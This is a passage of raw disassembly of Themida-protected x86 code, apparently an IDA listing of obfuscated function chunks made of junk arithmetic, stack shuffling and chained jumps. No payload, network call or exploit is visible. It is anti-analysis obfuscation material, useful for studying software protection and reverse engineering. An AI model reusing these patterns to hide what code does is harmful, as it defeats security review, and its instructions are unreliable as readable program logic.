		dec	ebp
		xor	ebp, 5F30553Ah
		add	eax, 2F911C0Dh
		sub	eax, 292A3717h
		push	431Eh
		mov	[esp+0], ebx
		push	78EB7961h
		pop	ebx
		sub	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 3EAA110Ah
		shl	ecx, 3
		or	ecx, 68CF3252h
		add	ecx, 1B4416A7h
		jmp	loc_574BCA
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_56798F:				; CODE XREF: sub_5643EB+69ABj
		push	edx
		jmp	loc_56177A
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_567995:				; CODE XREF: sub_569AB3+73A0j
		push	[esp+4+var_4]
		pop	edx
		push	edi
		jmp	loc_5746E1
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_56799F:				; CODE XREF: sub_56B06D+267Bj
		sub	eax, 0E397C8Bh
		sub	eax, 3FBECA0Fh
		sub	edx, eax
		mov	eax, [esp+18h+var_18]
		jmp	loc_56D606
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5679B3:				; CODE XREF: sub_569193+5B1Bj
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_566B71
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_5679C6:				; CODE XREF: sub_57146D+8j
		mov	[esp+0], ebx
		push	edx
		mov	dl, 92h
		mov	bh, 0C0h
		add	bh, 0A9h
		jmp	loc_5707A4
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_5679D6:				; CODE XREF: sub_560EA2+11j
		add	esp, 4
		sub	eax, 57DC0C1Eh
		add	eax, ebx
		jmp	loc_568206
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5679E8:				; CODE XREF: sub_57354D+120Dj
		shr	edx, 4
		jmp	loc_561FF0
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56666D


loc_5679F0:				; CODE XREF: sub_56666D+EADEj
		push	[esp+10h+var_10]
		jmp	loc_5610B4
; END OF FUNCTION CHUNK	FOR sub_56666D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5679F8:				; CODE XREF: sub_568E5C-3101j
		add	eax, ecx
		jmp	loc_56B5E0
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5679FF:				; CODE XREF: sub_5685B2-4615j
		dec	ebx
		inc	ebx
		push	edx
		mov	edx, 718D10F2h
		push	esi
		push	edx
		push	eax
		jmp	loc_560742
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_567A0F:				; CODE XREF: sub_570E81+F42j
		sub	[esp+4+arg_0], edx
		jmp	loc_56E3A9
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_567A18:				; CODE XREF: sub_561418+6E75j
		mov	[esp+0], edx
		mov	edx, 7F95C501h
		xor	ebx, edx
		jmp	loc_572023
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------


loc_567A27:				; CODE XREF: Themida_:00565420j
		push	ebx
		push	0
		pop	ebx
		jmp	loc_563DC1
; ---------------------------------------------------------------------------


loc_567A33:				; CODE XREF: Themida_:00570EA2j
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_567A54:				; CODE XREF: sub_572669-39EEj
		pop	eax
		jmp	loc_561B33
; END OF FUNCTION CHUNK	FOR sub_572669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_567A5A:				; CODE XREF: sub_566DFE+5B0j
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		not	eax
		xor	eax, 5D0BA182h
		push	ebp
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		mov	esi, ebp
		mov	ebp, [esp+4+var_4]
		jmp	loc_5746BE
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_567A7F:				; CODE XREF: sub_574304-193Fj
		dec	ebp
		add	ebp, 39277D7h
		jmp	loc_56A69D
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_567A8B:				; CODE XREF: sub_56616D+4DCDj
		pop	ebx
		xor	esi, 0CF6D5438h
		mov	ecx, esi
		pop	esi
		push	ebp
		push	4B5E6DD2h
		pop	ebp
		and	ebp, 56916F1Eh
		sub	ebp, 5684408Bh
		jmp	loc_573CAF
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_567AAD:				; CODE XREF: sub_56FA15-8F45j
		sub	al, 37h
		sub	al, 0D8h
		push	ecx
		mov	ch, 95h
		jmp	loc_56E513
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_567AB9:				; CODE XREF: sub_572141-56C1j
		push	edx
		push	56626DCFh
		pop	edx
		or	edx, 495B3A01h
		sub	edx, 443C7C9Ch
		mov	esi, edx
		pop	edx
		jmp	loc_56247E
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B310


loc_567AD4:				; CODE XREF: sub_56B310+99A9j
		xor	eax, 5B7D6597h
		add	edi, 3F532929h
		add	edi, eax
		sub	edi, 3F532929h
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	esp, 4
		jmp	loc_566E06
; END OF FUNCTION CHUNK	FOR sub_56B310
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_567AFB:				; CODE XREF: sub_574FC9-78AEj
		mov	[esp+8+var_8], edx
		push	ebx
		push	46EB3F1Eh
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		shr	ebx, 5
		neg	ebx
		jmp	loc_570EAE
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_567B14:				; CODE XREF: sub_568646+Dj
		push	ecx
		jmp	loc_562043
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_567B1A:				; CODE XREF: sub_572E16-3518j
		xor	edi, [esp+8+var_8]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		jmp	loc_571254
; END OF FUNCTION CHUNK	FOR sub_572E16

; =============== S U B	R O U T	I N E =======================================



sub_567B29	proc near		; CODE XREF: sub_56616D+70A1j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00563AD9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00567426 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567D42 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A07E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056B2DA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056D9FC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E44D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F8BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FDBF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0057072C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005722BB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057321C SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005736C7 SIZE 0000001B BYTES

		push	ebx
		jmp	loc_56E44D
sub_567B29	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_567B2F:				; CODE XREF: sub_574A21-C666j
		mov	edi, ebp
		pop	ebp
		xor	esi, edi
		pop	edi
		and	ecx, esi
		pop	esi
		and	ecx, 4ACC5E4Fh
		sub	ecx, 0FCF1A761h
		add	ebx, 76A64AC7h
		add	ebx, ecx
		sub	ebx, 76A64AC7h
		pop	ecx
		add	ebx, 2DB14E00h
		sub	ebx, eax
		push	ecx
		mov	ecx, 7EBC439Ah
		push	eax
		push	ebx
		mov	ebx, 733541ACh
		mov	eax, ebx
		pop	ebx
		jmp	loc_56316A
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_567B70:				; CODE XREF: sub_575315-58Bj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_567B75:				; CODE XREF: sub_5605BC+729Dj
		add	ecx, esi
		pop	esi
		push	7DA6h
		mov	[esp+0], ebp
		mov	ebp, 555B1FA0h
		add	ebp, 30200055h
		and	ebp, 10845C2Ah
		jmp	loc_565818
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_567B96:				; CODE XREF: sub_571088-87CEj
		push	ecx
		mov	ch, dl
		push	edx
		mov	dh, ch
		mov	bl, dh
		pop	edx
		pop	ecx
		pop	dx
		jmp	loc_570153
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_567BA7:				; CODE XREF: sub_56FCD7-8628j
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_566A9E
; END OF FUNCTION CHUNK	FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_567BBE:				; CODE XREF: sub_570CE4+Bj
		mov	[esp+4+var_4], esi
		push	ebx
		push	6A4D10FFh
		pop	ebx
		sub	ebx, 3E55E5D5h
		mov	esi, ebx
		mov	ebx, [esp+8+var_8]
		push	edi
		mov	edi, esp
		jmp	loc_572F6D
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_567BDB:				; CODE XREF: sub_574A21+Ej
		add	eax, 682F4722h
		pop	ebp
		jmp	loc_566EC9
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_567BE6:				; CODE XREF: sub_574304-EE07j
		mov	[esp+0Ch+var_C], eax
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		pop	eax
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	ebp
		jmp	loc_57486F
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_567C36:				; CODE XREF: sub_563819-750j
		pop	esi
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		jmp	loc_568A79
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------


loc_567C45:				; CODE XREF: Themida_:0056CE1Aj
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		sub	ecx, 20F30807h
		jmp	loc_563C27

; =============== S U B	R O U T	I N E =======================================



sub_567C58	proc near		; DATA XREF: Themida_:0055FEACo

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005615C8 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005634F9 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00566019 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AC89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056ADEF SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056BC61 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573684 SIZE 0000001B BYTES

		mov	cx, [esp+0]
		push	eax
		sub	esp, 4
		push	esp
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		pop	eax
		push	ebp
		mov	ebp, 58F57029h
		shl	ebp, 1
		jmp	loc_573684
sub_567C58	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_567C76:				; CODE XREF: sub_5687A3+285Ej
		push	eax
		push	ebx
		mov	ebx, 38E22D7Fh
		mov	eax, ebx
		pop	ebx
		sub	eax, 38063BB8h
		not	eax
		add	eax, 409F774Fh
		jmp	loc_5699BF
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_567C91:				; CODE XREF: sub_5678CB-772Ej
		push	ecx
		mov	cl, 0F3h
		sub	cl, 8Bh
		mov	dl, cl
		jmp	loc_570F8D
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_567C9E:				; CODE XREF: sub_574CDD-142CBj
		shr	edi, 5
		shr	edi, 1
		sub	edi, 70DAA6h
		mov	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+0]
		jmp	loc_56F5DD
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_567CB7:				; CODE XREF: sub_57354D-4B38j
		mov	[esp+0], ebp
		push	6597h
		jmp	loc_5674AF
; END OF FUNCTION CHUNK	FOR sub_57354D

; =============== S U B	R O U T	I N E =======================================



sub_567CC4	proc near		; DATA XREF: Themida_:0055FE60o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp+0], ax
		pushf
		jmp	loc_55FF9F
sub_567CC4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_567CD4:				; CODE XREF: sub_565632+F0E5j
		sub	ecx, 65495C14h
		sub	ecx, 1
		xor	ecx, 408F7013h
		jmp	loc_56DDA3
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_567CE8:				; CODE XREF: sub_5673C3-2531j
		add	ebp, edi
		pop	edi
		push	3BF0h
		jmp	loc_5664C7
; END OF FUNCTION CHUNK	FOR sub_5673C3

; =============== S U B	R O U T	I N E =======================================



sub_567CF5	proc near		; DATA XREF: Themida_:0055FE4Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00563402 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565ADD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00565F5A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566028 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056713A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568002 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056A461 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056AE7F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CD22 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056D3C6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E6B3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056F14E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057105B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574BD7 SIZE 0000000A BYTES

		mov	cx, [esp+0]
		jmp	loc_563402
sub_567CF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_567CFE	proc near		; DATA XREF: Themida_:0055FDD8o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0055FFB8 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005604BE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00561927 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561A9B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005659F9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B211 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E0FB SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056E22D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571A5F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00572352 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005737FB SIZE 00000006 BYTES

		push	ebp
		push	ecx
		push	edi
		push	417832CFh
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		push	edx
		mov	edx, 365D32E7h
		jmp	loc_571A5F
sub_567CFE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C0A


loc_567D17:				; CODE XREF: sub_571C0A-2BF8j
		add	ebp, 864A5A56h
		mov	edx, ebp
		jmp	loc_562FB3
; END OF FUNCTION CHUNK	FOR sub_571C0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_567D24:				; CODE XREF: sub_570CE4+2C3Bj
		mov	eax, 0BF87FABh
		shr	eax, 4
		jmp	loc_573F09
; END OF FUNCTION CHUNK	FOR sub_570CE4

; =============== S U B	R O U T	I N E =======================================



sub_567D31	proc near		; CODE XREF: sub_56C553-9FCDj

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00560562 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00560FC8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005621C6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562F11 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562F72 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563238 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005636AD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564157 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00564E29 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564E97 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00565256 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00565383 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005653B8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056567A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565B36 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00566C55 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00567584 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568B10 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00569A44 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A44D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C60A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C8E9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056E561 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056F806 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570051 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00570855 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570D4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005718C0 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00571974 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571CDB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005725D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573252 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005742D7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574BEB SIZE 0000000A BYTES

		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		push	dword ptr [esp+0]
		pop	ebp
		jmp	loc_570051
sub_567D31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_567D42:				; CODE XREF: sub_567B29+B724j
		push	[esp+4+var_4]
		jmp	loc_57072C
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------


loc_567D4A:				; CODE XREF: Themida_:0056A795j
		or	ebx, esi
		pop	esi
		sub	esp, 4
		jmp	loc_56D523
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_567D55:				; CODE XREF: sub_56E126-BC2Dj
		xor	esi, ebp
		jmp	loc_570BF2
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_567D5C:				; CODE XREF: sub_561418+1308Cj
		mov	eax, 657031Eh
		jmp	loc_572C33
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_567D66:				; CODE XREF: sub_56628B+71F2j
		sub	eax, ebp
		add	eax, 6A271EE1h
		jmp	loc_567F5F
; END OF FUNCTION CHUNK	FOR sub_56628B

; =============== S U B	R O U T	I N E =======================================



sub_567D72	proc near		; DATA XREF: Themida_:0055FE70o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

; FUNCTION CHUNK AT 00560F5F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005613F9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005645DF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C158 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056F65B SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0057138E SIZE 00000019 BYTES

		push	0DE4h
		mov	[esp+4+var_4], eax
		mov	al, bh
		mov	bh, [esp+4]
		mov	[esp+4], al
		push	[esp+4+var_4]
		jmp	loc_56C158
sub_567D72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_567D8C:				; CODE XREF: sub_56628B+B4BBj
		add	eax, ebx
		pop	ebx
		sub	eax, 58C87DF9h
		add	eax, ebx
		add	eax, 58C87DF9h
		jmp	loc_5637D3
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_567DA0:				; CODE XREF: sub_574656-75F0j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_567598
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_567DB1:				; CODE XREF: sub_5690E8-53C6j
		mov	ax, [esp+0]
		push	6B23h
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		push	55A7h
		mov	[esp+8+var_8], ebp
		mov	ebp, 5FCC7A1Dh
		not	ebp
		push	esi
		push	7D202013h
		pop	esi
		xor	ebp, esi
		pop	esi
		dec	ebp
		not	ebp
		shr	ebp, 1
		push	eax
		mov	eax, 60464883h
		or	eax, 751076CFh
		xchg	eax, esi
		push	7DB6h
		mov	[esp+10h+var_10], esi
		jmp	loc_56A368
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_567DFB:				; CODE XREF: sub_564020-29BCj
		shr	edi, 6
		add	edi, 57BC18F7h
		sub	ebx, edi
		pop	edi
		jmp	loc_573349
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_567E0C:				; CODE XREF: sub_56241E+33F5j
		pop	bx
		inc	cx
		push	edi
		mov	di, 6543h
		jmp	loc_5727DC
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57199D


loc_567E1A:				; CODE XREF: sub_57199D-5474j
		pop	ebx
		jmp	loc_5744FC
; END OF FUNCTION CHUNK	FOR sub_57199D
; ---------------------------------------------------------------------------


loc_567E20:				; CODE XREF: Themida_:00567F1Aj
		push	334Ah
		jmp	loc_56B60D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_567E2A:				; CODE XREF: sub_57354D-C43j
		or	edx, eax
		jmp	loc_563FB4
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_567E31:				; CODE XREF: sub_574287-C9D2j
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+0Ch+var_8]
		pop	eax
		pop	[esp+0Ch+var_C]
		pop	esp
		jmp	loc_56A3C3
; END OF FUNCTION CHUNK	FOR sub_574287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_567E4A:				; CODE XREF: sub_565632+3j
		mov	[esp+4+var_4], eax
		mov	eax, 0DF5461FBh
		sub	ebp, eax
		pop	eax
		add	edx, ebp
		pop	ebp
		pop	ebx
		and	eax, edx
		pop	edx
		shr	eax, 12h
		jmp	loc_56C098
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_567E64:				; CODE XREF: sub_57146D-3BFCj
		add	dl, 0DDh
		add	dl, al
		sub	dl, 0DDh
		mov	ax, word ptr [esp+2+var_4+2]
		add	esp, 2
		add	al, 67h
		sub	al, 14h
		add	al, dl
		add	al, 14h
		jmp	loc_56FF95
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_567E80:				; CODE XREF: sub_569193+1A6Fj
		push	[esp+4+var_4]
		mov	ebx, [esp+8+var_8]
		jmp	loc_5636B3
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_567E8B:				; CODE XREF: sub_57523A-6014j
		neg	eax
		sub	eax, 0A2ED2C44h
		push	edi
		jmp	loc_5637C0
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5692D3


loc_567E98:				; CODE XREF: sub_5692D3+2E6Ej
		mov	esi, 4
		jmp	loc_572349
; END OF FUNCTION CHUNK	FOR sub_5692D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A016


loc_567EA2:				; CODE XREF: sub_56A016+71CCj
		mov	ecx, 0FCE3613h
		jmp	loc_56C0C8
; END OF FUNCTION CHUNK	FOR sub_56A016
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_567EAC:				; CODE XREF: sub_571F6F-40D2j
		push	eax
		mov	ah, ch
		mov	dh, ah
		pop	eax
		mov	[edi+eax*4+1], dh
		pop	edx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_567EC8:				; CODE XREF: sub_565849-238j
		add	edx, 5DDF69C4h
		add	edx, ebx
		jmp	loc_57088D
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_567ED5:				; CODE XREF: sub_575420-96B1j
		not	bh
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	dx
		push	578Fh
		mov	[esp+0Ch+var_C], ebx
		mov	bh, 4Dh
		push	eax
		mov	ah, bh
		sub	esp, 4
		jmp	loc_564B2D
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_567EF6:				; CODE XREF: sub_56D4B8-6F43j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		mov	ecx, [esp+0]
